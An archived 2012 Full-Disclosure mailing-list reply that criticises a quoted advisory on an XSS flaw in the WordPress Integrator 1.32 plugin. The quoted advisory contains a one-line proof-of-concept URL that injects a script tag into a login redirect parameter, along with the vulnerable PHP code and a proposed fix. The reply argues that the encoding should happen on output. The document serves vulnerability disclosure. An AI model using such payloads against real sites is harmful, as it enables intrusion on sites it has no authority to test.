full-disclosure - Re: WordPress plugin 'WordPress Integrator 1.32' XSS vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <CAD6s_Xvx4idyx1rc6SZuaGxVAUuWpgeWMc5Q43iwr4X6L3tyUw@mail.gmail.com>
Date: Tue, 27 Mar 2012 14:55:13 +0200
From: Christian Sciberras <uuf6429@...il.com>
To: Stefan Schurtz <sschurtz@...nline.de>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: WordPress plugin 'WordPress Integrator 1.32'
 XSS vulnerability

Uhm...what?


A "security researcher" should know better how to write code.

In this case, where the input is perfectly valid (without requiring any
validation),
it is obvious that such encoding/conversion should be done on output, not
on input.


Chris.




On Tue, Mar 27, 2012 at 2:50 PM, Stefan Schurtz <sschurtz@...nline.de>wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Advisory: WordPress plugin 'WordPress Integrator 1.32' XSS vulnerability
> Advisory ID: SSCHADV2012-010
> Author: Stefan Schurtz
> Affected Software: Successfully tested on WordPress Integrator 1.32
> Vendor URL: http://wordpress.org/extend/plugins/wp-integrator/
> Vendor Status: informed
>
> ==========================
> Vulnerability Description
> ==========================
>
> The WordPress plugin 'WordPress Integrator' is prone to a XSS vulnerability
>
> ==================
> PoC-Exploit
> ==================
>
> http://target/wordpress/wp-login.php?redirect_to=http://%3F1
> <ScrIpT>alert(666)</ScrIpT>
>
> // vulnerable code in wp-integrator.php
>
> function init_handler() {
>                $url = parse_url($_SERVER["REQUEST_URI"]);
>
> =========
> Solution
> =========
>
> function init_handler() {
>                $url = parse_url(htmlentities($_SERVER["REQUEST_URI"]));
>
> ====================
> Disclosure Timeline
> ====================
>
> 19-Mar-2012 - vendor informed
> 20-Mar-2012 - vendor informed (plugins@...dpress.org)
>
> ========
> Credits
> ========
>
> Vulnerability found and advisory written by Stefan Schurtz.
>
> ===========
> References
> ===========
>
> http://www.darksecurity.de/advisories/2012/SSCHADV2012-010.txt
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.4.12 (MingW32)
> Comment: Thunderbird-Portable 3.1.20 by GnuPT - Gnu Privacy Tools
> Comment: Download at: http://thunderbird.gnupt.de
>
> iEYEARECAAYFAk9xt3oACgkQg3svV2LcbMCoFQCdEqaArwVj3iuuCAqtljPkVGXS
> 1xgAn0ItuQyF6kMKxf0DQi1ppNWrHG9E
> =0eCo
> -----END PGP SIGNATURE-----
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/